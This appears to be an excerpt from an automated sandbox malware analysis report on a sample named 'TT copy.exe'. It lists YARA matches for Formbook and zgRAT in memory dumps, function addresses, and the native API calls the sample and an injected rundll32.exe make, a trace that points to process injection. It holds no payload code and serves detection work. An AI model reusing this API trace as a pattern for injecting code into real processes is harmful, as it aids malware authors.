Source: 00000003.00000002.355171792.0000000000F40000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000003.00000002.355171792.0000000000F40000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000000.00000002.294087756.0000000007160000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 00000007.00000000.320130923.000000000AFE2000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000007.00000000.320130923.000000000AFE2000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000003.00000000.277077283.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000003.00000000.277077283.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000003.00000002.352260346.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000003.00000002.352260346.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000003.00000000.276708609.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000003.00000000.276708609.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0000000F.00000002.773452103.0000000000F30000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000000F.00000002.773452103.0000000000F30000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000007.00000000.338379852.000000000AFE2000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000007.00000000.338379852.000000000AFE2000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0000000F.00000002.775282393.0000000003660000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000000F.00000002.775282393.0000000003660000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000000.00000002.289098231.00000000039A9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000000.00000002.289098231.00000000039A9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research

Source: C:\Users\user\Desktop\TT copy.exe	Code function: 0_2_00E5E968	0_2_00E5E968
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 0_2_00E5E978	0_2_00E5E978
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 0_2_00E5BF9C	0_2_00E5BF9C
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 0_2_06EB2C88	0_2_06EB2C88
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 0_2_06EB8998	0_2_06EB8998
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 0_2_06EB8570	0_2_06EB8570
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 0_2_06EB1F28	0_2_06EB1F28
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 0_2_06EB1F18	0_2_06EB1F18
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 0_2_06EB2C85	0_2_06EB2C85
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 0_2_06EB2C78	0_2_06EB2C78
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 0_2_06EB9B38	0_2_06EB9B38
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 0_2_06EE7F70	0_2_06EE7F70
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 0_2_06EE6D38	0_2_06EE6D38
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 0_2_06EE78D0	0_2_06EE78D0
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 0_2_06EE0040	0_2_06EE0040
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 0_2_06EE001F	0_2_06EE001F
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0041F069	3_2_0041F069
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_00401028	3_2_00401028
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_00401030	3_2_00401030
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0041D9B8	3_2_0041D9B8
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0040928B	3_2_0040928B
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_00409290	3_2_00409290
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0040DC30	3_2_0040DC30
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_00402D87	3_2_00402D87
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_00402D90	3_2_00402D90
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0041EDBB	3_2_0041EDBB
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0041E790	3_2_0041E790
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_00402FB0	3_2_00402FB0
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0106F900	3_2_0106F900
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01084120	3_2_01084120
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010899BF	3_2_010899BF
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01121002	3_2_01121002
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0113E824	3_2_0113E824
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0108A830	3_2_0108A830
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0107B090	3_2_0107B090
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010920A0	3_2_010920A0
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_011320A8	3_2_011320A8
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_011328EC	3_2_011328EC
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0108A309	3_2_0108A309
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01132B28	3_2_01132B28
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0108AB40	3_2_0108AB40
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0110CB4F	3_2_0110CB4F
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0109EBB0	3_2_0109EBB0
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0112DBD2	3_2_0112DBD2
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_011203DA	3_2_011203DA
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0109ABD8	3_2_0109ABD8
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_011123E3	3_2_011123E3
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0111FA2B	3_2_0111FA2B
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_011322AE	3_2_011322AE
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01124AEF	3_2_01124AEF
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01132D07	3_2_01132D07
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01060D20	3_2_01060D20
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01131D55	3_2_01131D55
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01092581	3_2_01092581
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01122D82	3_2_01122D82
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_011325DD	3_2_011325DD
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0107D5E0	3_2_0107D5E0
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0107841F	3_2_0107841F
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0112D466	3_2_0112D466
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0108B477	3_2_0108B477
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01124496	3_2_01124496
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0113DFCE	3_2_0113DFCE
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01131FF1	3_2_01131FF1
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0112D616	3_2_0112D616
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01086E30	3_2_01086E30
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01132EF7	3_2_01132EF7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_05272D07	15_2_05272D07
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051A0D20	15_2_051A0D20
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_05271D55	15_2_05271D55
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051D2581	15_2_051D2581
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_052725DD	15_2_052725DD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051BD5E0	15_2_051BD5E0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051B841F	15_2_051B841F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_0526D466	15_2_0526D466
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_05264496	15_2_05264496
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_05271FF1	15_2_05271FF1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_0527DFCE	15_2_0527DFCE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051C6E30	15_2_051C6E30
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_0526D616	15_2_0526D616
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_05272EF7	15_2_05272EF7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051AF900	15_2_051AF900
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051C4120	15_2_051C4120
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051C99BF	15_2_051C99BF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_0527E824	15_2_0527E824
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_05261002	15_2_05261002
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051CA830	15_2_051CA830
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051BB090	15_2_051BB090
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_052720A8	15_2_052720A8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051D20A0	15_2_051D20A0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_052728EC	15_2_052728EC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_05272B28	15_2_05272B28
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051CA309	15_2_051CA309
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051CAB40	15_2_051CAB40
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051DEBB0	15_2_051DEBB0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051DABD8	15_2_051DABD8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_052523E3	15_2_052523E3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_0526DBD2	15_2_0526DBD2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_052603DA	15_2_052603DA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_0525FA2B	15_2_0525FA2B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_052722AE	15_2_052722AE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_05264AEF	15_2_05264AEF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_00F4D9B8	15_2_00F4D9B8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_00F39290	15_2_00F39290
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_00F3928B	15_2_00F3928B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_00F3DC30	15_2_00F3DC30
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_00F4EDBB	15_2_00F4EDBB
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_00F32D90	15_2_00F32D90
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_00F32D87	15_2_00F32D87
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_00F32FB0	15_2_00F32FB0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_00F4E790	15_2_00F4E790

Source: C:\Users\user\Desktop\TT copy.exe	Code function: String function: 0106B150 appears 136 times
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: String function: 051AB150 appears 124 times

Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0041A320 NtCreateFile,	3_2_0041A320
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0041A3D0 NtReadFile,	3_2_0041A3D0
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0041A450 NtClose,	3_2_0041A450
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0041A500 NtAllocateVirtualMemory,	3_2_0041A500
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0041A2DA NtCreateFile,	3_2_0041A2DA
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0041A324 NtCreateFile,	3_2_0041A324
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0041A44A NtClose,	3_2_0041A44A
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010A9910 NtAdjustPrivilegesToken,LdrInitializeThunk,	3_2_010A9910
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010A99A0 NtCreateSection,LdrInitializeThunk,	3_2_010A99A0
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010A9840 NtDelayExecution,LdrInitializeThunk,	3_2_010A9840
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010A9860 NtQuerySystemInformation,LdrInitializeThunk,	3_2_010A9860
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010A98F0 NtReadVirtualMemory,LdrInitializeThunk,	3_2_010A98F0
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010A9A00 NtProtectVirtualMemory,LdrInitializeThunk,	3_2_010A9A00
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010A9A20 NtResumeThread,LdrInitializeThunk,	3_2_010A9A20
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010A9A50 NtCreateFile,LdrInitializeThunk,	3_2_010A9A50
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010A9540 NtReadFile,LdrInitializeThunk,	3_2_010A9540
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010A95D0 NtClose,LdrInitializeThunk,	3_2_010A95D0
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010A9710 NtQueryInformationToken,LdrInitializeThunk,	3_2_010A9710
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010A9780 NtMapViewOfSection,LdrInitializeThunk,	3_2_010A9780
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010A97A0 NtUnmapViewOfSection,LdrInitializeThunk,	3_2_010A97A0
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010A9FE0 NtCreateMutant,LdrInitializeThunk,	3_2_010A9FE0
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010A9660 NtAllocateVirtualMemory,LdrInitializeThunk,	3_2_010A9660
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010A96E0 NtFreeVirtualMemory,LdrInitializeThunk,	3_2_010A96E0
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010A9950 NtQueueApcThread,	3_2_010A9950
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010A99D0 NtCreateProcessEx,	3_2_010A99D0
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010A9820 NtEnumerateKey,	3_2_010A9820
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010AB040 NtSuspendThread,	3_2_010AB040
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010A98A0 NtWriteVirtualMemory,	3_2_010A98A0
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010A9B00 NtSetValueKey,	3_2_010A9B00
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010AA3B0 NtGetContextThread,	3_2_010AA3B0
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010A9A10 NtQuerySection,	3_2_010A9A10
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010A9A80 NtOpenDirectoryObject,	3_2_010A9A80
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010A9520 NtWaitForSingleObject,	3_2_010A9520
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010AAD30 NtSetContextThread,	3_2_010AAD30
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010A9560 NtWriteFile,	3_2_010A9560
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010A95F0 NtQueryInformationFile,	3_2_010A95F0
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010AA710 NtOpenProcessToken,	3_2_010AA710
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010A9730 NtQueryVirtualMemory,	3_2_010A9730
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010A9760 NtOpenProcess,	3_2_010A9760
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010A9770 NtSetInformationFile,	3_2_010A9770
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010AA770 NtOpenThread,	3_2_010AA770
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010A9610 NtEnumerateValueKey,	3_2_010A9610
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010A9650 NtQueryValueKey,	3_2_010A9650
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010A9670 NtQueryInformationProcess,	3_2_010A9670
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010A96D0 NtCreateKey,	3_2_010A96D0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051E9540 NtReadFile,LdrInitializeThunk,	15_2_051E9540
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051E95D0 NtClose,LdrInitializeThunk,	15_2_051E95D0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051E9710 NtQueryInformationToken,LdrInitializeThunk,	15_2_051E9710
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051E9780 NtMapViewOfSection,LdrInitializeThunk,	15_2_051E9780
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051E9FE0 NtCreateMutant,LdrInitializeThunk,	15_2_051E9FE0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051E9610 NtEnumerateValueKey,LdrInitializeThunk,	15_2_051E9610
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051E9650 NtQueryValueKey,LdrInitializeThunk,	15_2_051E9650
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051E9660 NtAllocateVirtualMemory,LdrInitializeThunk,	15_2_051E9660
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051E96D0 NtCreateKey,LdrInitializeThunk,	15_2_051E96D0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051E96E0 NtFreeVirtualMemory,LdrInitializeThunk,	15_2_051E96E0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051E9910 NtAdjustPrivilegesToken,LdrInitializeThunk,	15_2_051E9910
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051E99A0 NtCreateSection,LdrInitializeThunk,	15_2_051E99A0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051E9840 NtDelayExecution,LdrInitializeThunk,	15_2_051E9840
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051E9860 NtQuerySystemInformation,LdrInitializeThunk,	15_2_051E9860
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051E9B00 NtSetValueKey,LdrInitializeThunk,	15_2_051E9B00
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051E9A50 NtCreateFile,LdrInitializeThunk,	15_2_051E9A50
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051EAD30 NtSetContextThread,	15_2_051EAD30
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051E9520 NtWaitForSingleObject,	15_2_051E9520
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051E9560 NtWriteFile,	15_2_051E9560
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051E95F0 NtQueryInformationFile,	15_2_051E95F0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051EA710 NtOpenProcessToken,	15_2_051EA710
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051E9730 NtQueryVirtualMemory,	15_2_051E9730
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051EA770 NtOpenThread,	15_2_051EA770
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051E9770 NtSetInformationFile,	15_2_051E9770
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051E9760 NtOpenProcess,	15_2_051E9760
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051E97A0 NtUnmapViewOfSection,	15_2_051E97A0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051E9670 NtQueryInformationProcess,	15_2_051E9670
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051E9950 NtQueueApcThread,	15_2_051E9950
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051E99D0 NtCreateProcessEx,	15_2_051E99D0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051E9820 NtEnumerateKey,	15_2_051E9820
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051EB040 NtSuspendThread,	15_2_051EB040
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051E98A0 NtWriteVirtualMemory,	15_2_051E98A0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051E98F0 NtReadVirtualMemory,	15_2_051E98F0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051EA3B0 NtGetContextThread,	15_2_051EA3B0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051E9A10 NtQuerySection,	15_2_051E9A10
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051E9A00 NtProtectVirtualMemory,	15_2_051E9A00
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051E9A20 NtResumeThread,	15_2_051E9A20
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051E9A80 NtOpenDirectoryObject,	15_2_051E9A80
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_00F4A3D0 NtReadFile,	15_2_00F4A3D0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_00F4A320 NtCreateFile,	15_2_00F4A320
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_00F4A450 NtClose,	15_2_00F4A450
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_00F4A500 NtAllocateVirtualMemory,	15_2_00F4A500
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_00F4A2DA NtCreateFile,	15_2_00F4A2DA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_00F4A324 NtCreateFile,	15_2_00F4A324
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_00F4A44A NtClose,	15_2_00F4A44A

Source: TT copy.exe, 00000000.00000002.293699875.0000000006E50000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameCerbera.dll" vs TT copy.exe
Source: TT copy.exe, 00000000.00000000.249696202.00000000005C4000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameStreamingContextSta.exeJ vs TT copy.exe
Source: TT copy.exe, 00000000.00000002.294087756.0000000007160000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameIVectorView.dllN vs TT copy.exe
Source: TT copy.exe, 00000000.00000002.289098231.00000000039A9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameIVectorView.dllN vs TT copy.exe
Source: TT copy.exe, 00000003.00000002.358699164.000000000115F000.00000040.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs TT copy.exe
Source: TT copy.exe, 00000003.00000002.358925286.00000000012EF000.00000040.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs TT copy.exe
